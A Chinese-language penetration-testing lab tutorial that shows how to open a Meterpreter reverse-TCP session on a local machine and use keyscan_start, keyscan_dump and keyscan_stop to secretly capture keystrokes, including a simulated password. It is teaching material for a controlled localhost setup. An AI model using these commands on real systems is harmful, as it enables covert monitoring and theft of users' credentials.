引言
在本实验中,你将探索一种常见的后渗透技术:键盘记录(keystroke logging)。键盘记录,或称“keylogging”,是指记录键盘上敲击的按键的过程,通常是秘密进行的,以便键盘使用者不知道他们的操作正在被监控。在渗透测试中,这项技术对于收集敏感信息(如用户名、密码和其他机密数据)非常有价值。
我们将使用 Metasploit Framework 强大的 payload——Meterpreter 来实现这一目标。Meterpreter 有一个内置模块叫做 keyscan,它允许攻击者轻松地在受感染的系统上启动、转储和停止键盘记录器。在本实验中,你将学习如何获得一个 Meterpreter 会话,部署键盘记录器,捕获键盘输入,然后清除你的痕迹。
在目标上获得 Meterpreter 会话
在此步骤中,我们将设置 Metasploit 中的监听器并执行 payload 以获得 Meterpreter 会话。为了本实验的目的,我们将扮演攻击者和目标,都在同一台机器上。一个名为 payload.elf 的 payload 文件已为你创建在 ~/project 目录下。
首先,让我们启动 Metasploit Framework 控制台。
msfconsole -q
msfconsole 加载后,我们需要设置一个 handler 来监听来自我们 payload 的传入连接。
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
现在,使用 -j 标志将监听器作为后台作业运行。
exploit -j
你应该会看到监听器已启动。
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
现在,通过点击终端面板中的 + 图标打开一个新的终端标签页。在新标签页中,执行 payload。
./payload.elf
切换回带有 msfconsole 的第一个终端标签页。你应该会看到一条消息,表明已打开一个 Meterpreter 会话。
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38908) at 2023-10-27 10:30:00 -0400
要与这个新会话进行交互,请使用 sessions 命令。
sessions -i 1
你的提示符应该会变为 meterpreter>,表明你现在已控制目标会话。
[*] Starting interaction with 1...
meterpreter >
使用 keyscan_start 命令启动键盘记录器
在此步骤中,在 Meterpreter 会话处于活动状态时,我们将在目标机器上启动键盘记录器。用于此操作的命令是 keyscan_start。此命令会将键盘记录器注入到目标系统上的一个进程中,并开始捕获所有键盘输入。
请确保你处于 meterpreter> 提示符下。输入以下命令并按 Enter:
keyscan_start
系统将确认键盘记录器已启动。
Starting the keystroke sniffer...
记录器现在正在目标系统上静默运行,记录下每一个被按下的键。
等待用户输入信息
在此步骤中,我们将模拟用户在目标机器上输入敏感信息。由于我们的键盘记录器已激活,它将捕获此活动。
再次点击 + 图标打开一个新的终端标签页。在此新终端中,我们将模拟用户输入密码。你可以输入任何命令,但在此示例中,我们将使用 echo 来模拟输入一个秘密密码。
echo "MySuperSecretPassword123"
运行命令后,你可以关闭这个新的终端标签页。echo "MySuperSecretPassword123" 的键盘输入已被我们运行的键盘记录器捕获。返回到 Meterpreter 会话处于活动状态的终端标签页。
使用 keyscan_dump 命令转储捕获的键盘输入
在此步骤中,我们将检索键盘记录器捕获的键盘输入。keyscan_dump 命令会从目标机器获取所有记录的键盘输入,并在你的 Meterpreter 控制台中显示它们。
在 meterpreter> 提示符下,执行以下命令:
keyscan_dump
你将看到自键盘记录器启动以来捕获的所有键盘输入的输出。这包括你在上一步输入的命令。
Dumping captured keystrokes...
echo "MySuperSecretPassword123"
如你所见,我们在另一个终端输入的命令已被成功捕获。这演示了攻击者如何窃取用户输入的凭据、命令和其他敏感文本。
使用 keyscan_stop 命令停止键盘记录器
在此步骤中,我们将停止键盘记录器。渗透测试人员在完成渗透后清理现场至关重要,需要移除任何痕迹并停止所有正在运行的进程,使目标系统恢复原状。
要停止键盘记录器,请在你的 Meterpreter 会话中使用 keyscan_stop 命令。
keyscan_stop
系统将确认键盘记录器已停止。
Stopping the keystroke sniffer...
键盘记录器在目标机器上已不再活跃。你现在可以安全地退出 Meterpreter 会话和 msfconsole,只需输入两次 exit。
总结
在本实验中,你已成功学会如何使用 Meterpreter 在目标系统上执行键盘记录。你实践了这一后渗透技术的整个生命周期,从获取会话到清理工具。
你学会了如何:
- 使用 handler 和 payload 建立 Meterpreter 会话。
- 使用
keyscan_start命令在目标上启动键盘记录器。 - 使用
keyscan_dump转储捕获的键盘输入以查看敏感信息。 - 使用
keyscan_stop停止键盘记录器并清理会话。
这是一项强大的技术,突显了系统安全和监控的重要性。请记住负责任且合乎道德地使用这些技能。恭喜你完成本次实验!


